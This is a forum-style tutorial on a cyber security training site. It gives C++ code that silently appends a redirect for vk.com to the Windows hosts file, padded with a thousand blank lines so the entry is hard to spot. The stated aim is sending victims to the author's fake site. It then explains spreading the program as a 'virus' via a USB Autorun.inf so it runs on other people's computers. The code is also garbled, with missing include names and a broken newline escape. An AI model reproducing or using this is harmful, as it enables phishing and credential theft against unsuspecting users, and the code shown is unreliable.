Write a program to substitute hosts (with ++)

March 7, 2019 | Views: 1114

Begin Learning Cyber Security for FREE Now!

FREE REGISTRATIONAlready a Member Login Here

We write the program for substitution of hosts (with ++)

For a start, a little bit of information from google what is it

Quote:

hosts – a text file containing a database of domain names and used when translating them into the network addresses of nodes. This file takes precedence over DNS servers. Unlike DNS, the contents of the file are controlled by the administrator of the computer.

tobish we will replace the dns server. for this we need a hosting with a dedicated ip.

(hereinafter we will put a fake on our site on the hosting)

and so we went to the writing of the program itself.

Open C ++. Click File – Create, Source File. A blank sheet appears. Start writing code.

Quote:

#include // standard input / output stream.

#include // for working with files

using namespace std; // use the default namespace std.

int main () {/ * is the main function. It does not return anything, but the type of the main function can only be an int. void is impossible. * /

freopen (“C: / WINDOWS / system32 / drivers / etc / hosts”, “at”, stdout); / * here we are redirecting iostream to fstream with a record key. * /

unsigned int a = 0; // create a variable counter.

while (a <= 1000) {// create a loop

a ++; // which fills the hosts file

cout << ” n”; // thousand empty lines

}

cout << “127.0.0.1 vk.com”; // this is the redirect string

}

cout << “127.0.0.1 vk.com”; – here we change the type address to your fake ..

So. Now we have the code, it needs to be compiled. Click Run – Compile. Now in the folder that we specified there is an exe file. If you run it, then your hosts file will be added.

We create autostart of a virus through the USB stick.

To do this, transfer the resulting program to your flash drive. Next, create an Autorun.inf file on a flash drive.

Open it with a notebook and write.

Quote:

[AutoRun]

shellexecute = program_name

Action = what_will_script_d_auto start

Icon = Icon

Label = flashfly name

Everything is ready) now when we insert the USB flash drive into someone’s computer, our program will open, change the hosts file and close.

Share with Friends
FacebookTwitterLinkedInEmail
Use Cybytes and
Tip the Author!
Join
Share with Friends
FacebookTwitterLinkedInEmail
Ready to share your knowledge and expertise?
Comment on This

You must be logged in to post a comment.

Our Revolution

We believe Cyber Security training should be free, for everyone, FOREVER. Everyone, everywhere, deserves the OPPORTUNITY to learn, begin and grow a career in this fascinating field. Therefore, Cybrary is a free community where people, companies and training come together to give everyone the ability to collaborate in an open source way that is revolutionizing the cyber security educational experience.

Cybrary On The Go

Get the Cybrary app for Android for online and offline viewing of our lessons.

Get it on Google Play
 

Support Cybrary

Donate Here to Get This Month's Donor Badge

 
Skip to toolbar

We recommend always using caution when following any link

Are you sure you want to continue?

Continue
Cancel